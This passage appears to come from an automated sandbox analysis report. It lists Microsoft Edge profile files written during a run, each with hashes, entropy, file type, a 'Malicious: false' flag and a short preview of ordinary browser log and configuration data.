SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.15115250509345
Encrypted:	false
SSDEEP:	6:HE9BuyL+q2PcNwi23oH+TcwtnG2tMsIFUt8YE9BukKWZmw+YE9BuyLVkwOcNwi25:k94yL+vLZYebn9GFUt8/94DW/+/94yLc
MD5:	EAF66E0B18BCA2A7B7E774CA0177093C
SHA1:	4BB92F161BCE08C01D72447A54B49AC4F8EB60B5
SHA-256:	9508E77876325043F3DBDD20E81996AE8C8A0DB5695F6A233365653C41481D66
SHA-512:	41F6176AB8610F48105166F9244703A3B593579A04DD9810699C47AF566C34CC284E9810E0D564E059A765626E8048FC845A57BA507DBF0BD53CB961388A1DF9
Malicious:	false
Preview:	2024/11/21-16:04:43.043 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/21-16:04:43.043 1e3c Recovering log #3.2024/11/21-16:04:43.043 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.15115250509345
Encrypted:	false
SSDEEP:	6:HE9BuyL+q2PcNwi23oH+TcwtnG2tMsIFUt8YE9BukKWZmw+YE9BuyLVkwOcNwi25:k94yL+vLZYebn9GFUt8/94DW/+/94yLc
MD5:	EAF66E0B18BCA2A7B7E774CA0177093C
SHA1:	4BB92F161BCE08C01D72447A54B49AC4F8EB60B5
SHA-256:	9508E77876325043F3DBDD20E81996AE8C8A0DB5695F6A233365653C41481D66
SHA-512:	41F6176AB8610F48105166F9244703A3B593579A04DD9810699C47AF566C34CC284E9810E0D564E059A765626E8048FC845A57BA507DBF0BD53CB961388A1DF9
Malicious:	false
Preview:	2024/11/21-16:04:43.043 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/21-16:04:43.043 1e3c Recovering log #3.2024/11/21-16:04:43.043 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6124099878177729
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jWppmz4mL:TO8D4jJ/6Up+6uh
MD5:	79B077179AC5F93B27D06D5649878FED
SHA1:	9B816482C60251AC77717F524DC620A313F626DE
SHA-256:	44C140C4129C672E837AF9D3EE993E034A576C45F401791C196907B3DFCD0126
SHA-512:	BD9DD1CCA0AAFAAC86CA4239822ED6A1C38C335EDF8D90A1D4403C77FE71C61071D0EBA28EDC139F9C867F921FB058EEA489B296F3729EC039D44D9B2182E962
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354152495124992
Encrypted:	false
SSDEEP:	6144:nA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:nFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	016156D6408389CFF432C003EBCE8675
SHA1:	692DC1443D393F7E2768B25199E94CC220D4DEA6
SHA-256:	6C4CEF3887C077BC1E6BD48CF9A26E6844229DEB7B9D5DEF6C1A54D381339CD6
SHA-512:	116C68F5929F7967E1DF630493CE52AB7FD35BA42655BBB3802B4D02188A6538EE3F0FFF591A1A5952CA1F2227DE93F244358968E462469B949028C9DFC52F7D
Malicious:	false
Preview:	...m.................DB_VERSION.1...q...............&QUERY_TIMESTAMP:domains_config_gz2...13376696691635092..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.2020554226550875
Encrypted:	false
SSDEEP:	6:HE9Q7q1cNwi23oH+Tcwtk2WwnvB2KLlVE9ScMt+q2PcNwi23oH+Tcwtk2WwnvIF2:k9ZZYebkxwnvFLs9SctvLZYebkxwnQF2
MD5:	25FB6BF595A5CC5D4B279ECDA9B7FDCB
SHA1:	D8A8887DA52814C250EB77330D440A3C6C2B5F0E
SHA-256:	32179550E0B180AD0AFF80D7BCC09A6C6F4456F91A33F2CCB7ACB2CE12C0230B
SHA-512:	A01071B27C5D2765A50D5DC069E1020D3049366378C208600A0074D33042D2926717AA120AC750C5D53E123FB5FD344241C18C3B63D7291B2121D4414789DE87
Malicious:	false
Preview:	2024/11/21-16:04:48.548 2238 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/21-16:04:48.569 2238 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613840807153
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rn:C1gAg1zfvP
MD5:	63D214FAE8144BCE5A7E09D0DBE7CCA7
SHA1:	AD5F0AB84C9B68136AB359D682B0AF339C18003B
SHA-256:	8495B2B65FE02E99CEADB164010C358A09C10D689B8C79940E21BA74271A8192
SHA-512:	4160D0F7C0180B670F8C360A7CE2AE034EA263CF974F5B8C2D9AF3684CB825EB954F6836A9D55AE61B0718B93395CDA2405E15C40E6E01D387911E1F0DECC4BB
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.145850318093093
Encrypted:	false
SSDEEP:	6:HE9FjAq2PcNwi23oH+Tcwt8aPrqIFUt8YE906Zmw+YE90GkwOcNwi23oH+Tcwt8h:k9SvLZYebL3FUt8/97/+/9R54ZYebQJ
MD5:	A3F7D4EFEA254F2D9D895B0B25544603
SHA1:	8836336BBCD5358FFB212668D800B3FB1CFB9CC7
SHA-256:	CD39D1BE7E299FB4B9D316FD45110D2E14AC3507CE83934DAE4E17D9B4B6A20B
SHA-512:	AAD5E514A03EB83CFD35CFFD09B65E953CE7D121AE9247ADDE5653A0057C2139578F3028F90E60DC1CA9C76D082319CB3416CDE5C15B86BFF7C951885D6AD9D8
Malicious:	false
Preview:	2024/11/21-16:04:43.047 240 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/21-16:04:43.119 240 Recovering log #3.2024/11/21-16:04:43.119 240 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.145850318093093
Encrypted:	false
SSDEEP:	6:HE9FjAq2PcNwi23oH+Tcwt8aPrqIFUt8YE906Zmw+YE90GkwOcNwi23oH+Tcwt8h:k9SvLZYebL3FUt8/97/+/9R54ZYebQJ
MD5:	A3F7D4EFEA254F2D9D895B0B25544603
SHA1:	8836336BBCD5358FFB212668D800B3FB1CFB9CC7
SHA-256:	CD39D1BE7E299FB4B9D316FD45110D2E14AC3507CE83934DAE4E17D9B4B6A20B
SHA-512:	AAD5E514A03EB83CFD35CFFD09B65E953CE7D121AE9247ADDE5653A0057C2139578F3028F90E60DC1CA9C76D082319CB3416CDE5C15B86BFF7C951885D6AD9D8
Malicious:	false
Preview:	2024/11/21-16:04:43.047 240 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/21-16:04:43.119 240 Recovering log #3.2024/11/21-16:04:43.119 240 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.137136382869222
Encrypted:	false
SSDEEP:	6:HE90q2PcNwi23oH+Tcwt865IFUt8YE9rZmw+YE9n7kwOcNwi23oH+Tcwt86+ULJ:k90vLZYeb/WFUt8/9r/+/9754ZYeb/+e
MD5:	F33FB48136E5BE891160DA8782A88EF9
SHA1:	79D4BFE181BA15E7AF06DFE8E0F627CF9007CE22
SHA-256:	103B50D80748C8E9047321664F6A2EE3AF4FBBA2D23B4B1869E01FF1AB223E32
SHA-512:	CB7350553E721EA07602A02EAB716577DBCEA0086457339E1B25ADE902D4D9EAF3D0C360BA544F681545DD4DF032468925CCCF21244EAD9F824D71F0B87047AF
Malicious:	false
Preview:	2024/11/21-16:04:43.144 240 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/21-16:04:43.146 240 Recovering log #3.2024/11/21-16:04:43.148 240 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.137136382869222
Encrypted:	false
SSDEEP:	6:HE90q2PcNwi23oH+Tcwt865IFUt8YE9rZmw+YE9n7kwOcNwi23oH+Tcwt86+ULJ:k90vLZYeb/WFUt8/9r/+/9754ZYeb/+e
MD5:	F33FB48136E5BE891160DA8782A88EF9
SHA1:	79D4BFE181BA15E7AF06DFE8E0F627CF9007CE22
SHA-256:	103B50D80748C8E9047321664F6A2EE3AF4FBBA2D23B4B1869E01FF1AB223E32
SHA-512:	CB7350553E721EA07602A02EAB716577DBCEA0086457339E1B25ADE902D4D9EAF3D0C360BA544F681545DD4DF032468925CCCF21244EAD9F824D71F0B87047AF
Malicious:	false
Preview:	2024/11/21-16:04:43.144 240 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/21-16:04:43.146 240 Recovering log #3.2024/11/21-16:04:43.148 240 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.221604802520141
Encrypted:	false
SSDEEP:	6:HE9sl+q2PcNwi23oH+Tcwt8NIFUt8YE9H5Zmw+YE9HtVkwOcNwi23oH+Tcwt8+ed:k9ZvLZYebpFUt8/9H5/+/9HT54ZYebqJ
MD5:	524E4D4425EF9E5E1F39F240624F4C59
SHA1:	E19B05A146659911493470AF8C52E342F76A1019
SHA-256:	8A4DB02976846B0D888EA438163D4E2E4435C7FD4413BA6441E0FD245A2DCDE2
SHA-512:	5B08830B854DFD6326EE08356121116D2AE32B4A1AF5DDBF82E84720359AF6061367690E18AB29D619E629FAC63D1766DEC0C56A730492FC0C8E6449A0605189
Malicious:	false
Preview:	2024/11/21-16:04:43.919 cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-16:04:43.929 cb8 Recovering log #3.2024/11/21-16:04:43.929 cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.221604802520141
Encrypted:	false
SSDEEP:	6:HE9sl+q2PcNwi23oH+Tcwt8NIFUt8YE9H5Zmw+YE9HtVkwOcNwi23oH+Tcwt8+ed:k9ZvLZYebpFUt8/9H5/+/9HT54ZYebqJ
MD5:	524E4D4425EF9E5E1F39F240624F4C59
SHA1:	E19B05A146659911493470AF8C52E342F76A1019
SHA-256:	8A4DB02976846B0D888EA438163D4E2E4435C7FD4413BA6441E0FD245A2DCDE2
SHA-512:	5B08830B854DFD6326EE08356121116D2AE32B4A1AF5DDBF82E84720359AF6061367690E18AB29D619E629FAC63D1766DEC0C56A730492FC0C8E6449A0605189
Malicious:	false
Preview:	2024/11/21-16:04:43.919 cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-16:04:43.929 cb8 Recovering log #3.2024/11/21-16:04:43.929 cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:4j/RtFlljq7A/mhWJFuQ3yy7IOWUaQdweytllrE9SFcTp4AGbNCV9RUITt:u/K75fOAQd0Xi99pEYtt
MD5:	2D21A4B1CEACC797C3D2DB84EC6A1E08
SHA1:	F915F39E96D5D1C33B19C111C3A4CEED3D9DAE60
SHA-256:	9F2443B6E1698B4C5810873CB0E76221218059E384B8BC8212A45D750D894969
SHA-512:	CBFE687011B20FC5F0DFE6E6E3D4ACA1409214A2EADFB8E1D02CD3F692991D230A75354DE3206AE0D0B51FFED432A6B73FD253ECB0BC93B07F5E5796BFC13706
Malicious:	false
Preview:	..............,....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9180642730059936
Encrypted:	false
SSDEEP:	384:jj9P0EEQkQer0c4773pLRjlkgam6IkP/KbtXh3RKToaAu:jdEe2347PlbUP/IhRKcC
MD5:	0B7BE00DDEF61758CF6E9FC5828FEDAF
SHA1:	EEF2E45B0F17507C4A83388F4F5FE164ECEE6419
SHA-256:	4B993257153CCA6A2F51CC420FCF6C89E5EBECE67C6505081733529793F276EA
SHA-512:	2AE232C80FC9F5D7DD76888768A7198A79E63136FBD9948DAF287DDCCBE83E594A15A3E52780E19E195E47CE4B97A73DF029FE1C7D7A741EFF453F04AE776B20
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.294439738590099
Encrypted:	false
